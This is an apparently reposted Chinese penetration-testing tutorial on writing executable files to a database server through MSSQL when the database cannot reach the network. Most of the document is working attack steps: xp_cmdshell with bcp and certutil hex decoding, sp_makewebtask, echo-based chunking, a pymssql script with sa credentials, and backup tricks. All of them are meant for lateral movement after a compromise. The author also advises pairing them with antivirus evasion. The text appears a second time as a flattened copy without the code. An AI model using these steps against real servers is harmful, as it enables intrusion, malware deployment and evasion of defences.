关于站库分离数据库不出网落地Exe方式探究-Mssql
字数 1315 2025-08-29 08:31:41

MSSQL站库分离环境下无Webshell落地EXE文件方法研究

1. 前言

在站库分离且数据库不出网的环境中,当仅拥有MSSQL命令执行权限而无Webshell时,横向移动需要将工具通过数据库落地到目标服务器。本文详细研究多种在MSSQL环境下落地EXE文件的技术方法。

2. 环境准备

  • 操作系统:Windows 10 x64
  • 数据库版本:MSSQL 2019
  • 权限要求:MSSQL执行命令权限

3. BCP方法

3.1 方法简介

BCP(Bulk Copy Program)是MSSQL提供的大容量复制工具,可用于导入导出数据。

3.2 适用版本

全版本MSSQL支持

3.3 操作步骤

  1. 创建存储二进制数据的表:
create table info(data image)
  1. 插入EXE文件的16进制数据(注意添加0x前缀):
insert into info(data) values (0x4D5A900003000000...)
  1. 使用BCP导出数据:
exec master..xp_cmdshell 'bcp test.dbo.info out c:\users\public\12.txt -T -c'

参数说明:

  • -T:可信任连接
  • -c:字符类型
  1. 解码16进制文件为EXE:
exec master..xp_cmdshell 'certutil -decodehex c:\users\public\12.txt c:\users\public\12.exe'

或使用Python解码:

python -c "import binascii;text=open('res.exe','ab');text.write(binascii.a2b_hex(open('exe-hex.txt').read()))"

4. sp_makewebtask方法

4.1 方法简介

通过Web Assistant Procedures扩展导出文档。

4.2 适用版本

仅限MSSQL 2008及以下版本

4.3 操作步骤

  1. 开启Web Assistant Procedures扩展:
exec sp_configure 'show advanced options', 1;
RECONFIGURE;
exec sp_configure 'Web Assistant Procedures',1;
RECONFIGURE;
  1. 导出16进制数据:
exec sp_makewebtask '\\路径\\hex.txt','select''exe_hex'' '
  1. 解码为EXE文件:
exec master..xp_cmdshell 'certutil -decodehex \\路径\\hex.txt \\路径\\test.exe'
  1. 关闭扩展(可选):
exec sp_configure 'show advanced options', 1;
RECONFIGURE;
exec sp_configure 'Web Assistant Procedures',0;
RECONFIGURE;

5. Echo方法

5.1 方法简介

使用Windows的echo命令导出16进制数据。

5.2 操作步骤

  1. 使用set /p实现不换行追加:
exec master..xp_cmdshell 'echo|set /p="4D5A900003" > c:\users\public\12.txt'
  1. 分段追加数据(Windows单次最多导出约8KB数据)

  2. 解码为EXE文件:

exec master..xp_cmdshell 'certutil -decodehex c:\users\public\12.txt c:\users\public\12.exe'

6. Python方法

6.1 方法简介

使用Python连接MSSQL并导出二进制数据。

6.2 前提条件

  • 目标系统安装Python
  • 知道MSSQL账号密码
  • Python环境支持pymssql库

6.3 操作代码

import pymssql
conn = pymssql.connect(
    host='192.168.112.149',
    user='sa',
    password='123456',
    database='test',
    charset='utf8'
)
cur = conn.cursor()
sqlstr = 'select data from info'
cur.execute(sqlstr)
data = cur.fetchall()[0][0].strip()
open('tesz.exe','ab').write(data)
cur.close()
conn.close()

7. 备份方法(实验性)

7.1 日志备份

  1. 设置数据库为完全恢复模式:
alter database 数据库名称 set RECOVERY FULL
  1. 创建二进制数据表:
create table info (data image)
  1. 备份数据库:
backup database 数据库名称 to disk = '\\path\\' with init
  1. 插入16进制数据:
insert into cmd (a) values (0x执行文件的16进制)
  1. 备份日志:
backup log 数据库名称 to disk = 'path'

注意:此方法导出的16进制数据会被隔断,目前无法直接使用。

7.2 差异备份

  1. 完整备份数据库:
backup database test to disk = 'C:\Users\Public\bak.log' with init
  1. 创建数据表并插入16进制:
create table test.dbo.info (data image);
insert into info (data) values ('可执行文件的16进制')
  1. 差异备份:
backup database test to disk = 'C:\Users\Public\test2.log' with differential,format

注意:同样存在数据被隔断的问题。

8. 方法总结

方法 适用版本 优点 缺点
BCP 全版本 支持性好,操作简单 需要xp_cmdshell权限
sp_makewebtask ≤2008 无需BCP 仅限旧版本
Echo 全版本 无需额外工具 操作繁琐,单次限制8KB
Python 全版本 灵活可控 需要Python环境
备份方法 全版本 理论可行 实际数据被隔断

9. 优化思考

  1. 对于Echo方法,可在解码前使用编程语言处理换行符
  2. 日志备份方法可尝试用编程语言解决数据隔断问题
  3. 实际应用中需结合免杀技术绕过AV检测

10. 参考资源

  1. MSSQL存储过程文档
  2. Python连接MSSQL
  3. MSSQL数据库恢复模式
MSSQL站库分离环境下无Webshell落地EXE文件方法研究 1. 前言 在站库分离且数据库不出网的环境中,当仅拥有MSSQL命令执行权限而无Webshell时,横向移动需要将工具通过数据库落地到目标服务器。本文详细研究多种在MSSQL环境下落地EXE文件的技术方法。 2. 环境准备 操作系统:Windows 10 x64 数据库版本:MSSQL 2019 权限要求:MSSQL执行命令权限 3. BCP方法 3.1 方法简介 BCP(Bulk Copy Program)是MSSQL提供的大容量复制工具,可用于导入导出数据。 3.2 适用版本 全版本MSSQL支持 3.3 操作步骤 创建存储二进制数据的表: 插入EXE文件的16进制数据(注意添加0x前缀): 使用BCP导出数据: 参数说明: -T :可信任连接 -c :字符类型 解码16进制文件为EXE: 或使用Python解码: 4. sp_ makewebtask方法 4.1 方法简介 通过Web Assistant Procedures扩展导出文档。 4.2 适用版本 仅限MSSQL 2008及以下版本 4.3 操作步骤 开启Web Assistant Procedures扩展: 导出16进制数据: 解码为EXE文件: 关闭扩展(可选): 5. Echo方法 5.1 方法简介 使用Windows的echo命令导出16进制数据。 5.2 操作步骤 使用set /p实现不换行追加: 分段追加数据(Windows单次最多导出约8KB数据) 解码为EXE文件: 6. Python方法 6.1 方法简介 使用Python连接MSSQL并导出二进制数据。 6.2 前提条件 目标系统安装Python 知道MSSQL账号密码 Python环境支持pymssql库 6.3 操作代码 7. 备份方法(实验性) 7.1 日志备份 设置数据库为完全恢复模式: 创建二进制数据表: 备份数据库: 插入16进制数据: 备份日志: 注意:此方法导出的16进制数据会被隔断,目前无法直接使用。 7.2 差异备份 完整备份数据库: 创建数据表并插入16进制: 差异备份: 注意:同样存在数据被隔断的问题。 8. 方法总结 | 方法 | 适用版本 | 优点 | 缺点 | |------|---------|------|------| | BCP | 全版本 | 支持性好,操作简单 | 需要xp_ cmdshell权限 | | sp_ makewebtask | ≤2008 | 无需BCP | 仅限旧版本 | | Echo | 全版本 | 无需额外工具 | 操作繁琐,单次限制8KB | | Python | 全版本 | 灵活可控 | 需要Python环境 | | 备份方法 | 全版本 | 理论可行 | 实际数据被隔断 | 9. 优化思考 对于Echo方法,可在解码前使用编程语言处理换行符 日志备份方法可尝试用编程语言解决数据隔断问题 实际应用中需结合免杀技术绕过AV检测 10. 参考资源 MSSQL存储过程文档 Python连接MSSQL MSSQL数据库恢复模式